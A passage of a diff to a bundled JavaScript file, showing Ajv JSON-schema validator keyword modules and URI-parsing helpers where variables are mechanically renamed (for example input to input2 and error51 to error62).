(this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && 